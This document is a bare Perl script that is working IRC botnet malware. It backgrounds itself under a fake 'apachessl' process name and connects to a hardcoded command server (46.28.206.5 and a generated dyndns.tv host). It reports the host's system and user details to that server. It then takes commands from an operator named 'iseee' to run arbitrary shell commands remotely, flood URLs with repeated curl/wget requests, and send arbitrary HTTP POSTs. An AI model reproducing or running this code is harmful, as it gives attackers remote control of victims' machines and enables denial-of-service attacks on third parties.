#!/usr/bin/perl
use IO::Socket::INET;  my $time=time();  $time=~/(.*)\d\d\d\d/;  $i=int($1)*2;  $i=$i+7883;  my $processo = "/usr/bin/apachessl";  my $pid=fork;  exit if $pid;  $0="$processo"." "x16;   my @sops =("46.28.206.5","46.28.206.5","46.28.206.5","46.28.206.5","46.28.206.5","its".$i."thetime.dyndns.tv");  my $port=2020*4; $arm=`uname -m`; my $chan="#syn".int(rand(12)); if($arm=~/64/g) { $chan="#web64"; } if($arm=~/86/g) { $chan="#web32"; }  my $boxing = `uname -a`;  $user = `whoami`;  $boxing =~ s/\r//g;  $boxing =~ s/\n//g;  $boxing =~ s/ //g;  $boxing =~ s/\s//g;  $user =~ s/\r//g;  $user =~ s/\n//g;  $user =~ s/ //g;  $user =~ s/\s//g;    while(1) {
 retry: 
my $nick="syn[".int(rand(999999999))."]"; close($sk);   my $server = "";  while(length($server)<10) { $server = $sops[int(rand(12))];  } sleep(3);  my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry;  $sk->autoflush(1);  print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";  print $sk "NICK $nick\r\n";  print $sk "USER ".$user." 8 *  : ".$user."\r\n";   while($line = <$sk>){  $line =~ s/\r\n$//;  if ($line=~ /^PING \:(.*)/) { print $sk "PONG :$1\r\n";  }  if($line =~ /welcome\sto/i) { sleep(2);  print $sk "JOIN $chan\r\n";  sleep(1);  print $sk "PRIVMSG $chan :UserName=$boxing\r\n";  }   if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/){ $owner=$line;  $de=$2;  if($owner=~/iseee/gi) { @shell=`$de`;  foreach $line (@shell) {  sendsk($sk, "PRIVMSG iseee :$line\r\n");  sleep(1);  } } }  if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/){ $owner=$line;  $url=$2;  $mult=$3;  if($owner=~/iseee/gi) { $url=~/http:\/\/(.*)\/(.*)/g;   for($xz=0; $xz<=$mult; $xz++) { system("curl ".$url.">/dev/null&");  `curl "$url">/dev/null&`;  system("wget ".$url.">/dev/null&");  `wget "$url">/dev/null&`;  system("wget $url>/dev/null&");   } sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n");  } }     if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/){ $owner=$line;  $url=$2;  $ddata=$3;  if($owner=~/iseee/gi) { $url=~/http:\/\/(.*)\/(.*)/g;  $host=$1;  $path=$2;    my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80);  print $sck 	"POST /$path HTTP/1.0\r\n". 		"Host: $host\r\n". 		"Connection: close\r\n". 		"Content-Length: ".length($ddata)."\r\n\r\n".$ddata;  sleep(1);  close($sck);   sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");  } }   }  }   sub sendsk() { if ($#_ == 1) { my $sk = $_[0];  print $sk "$_[1]\n";  }  else { print $sk "$_[0]\n";  } }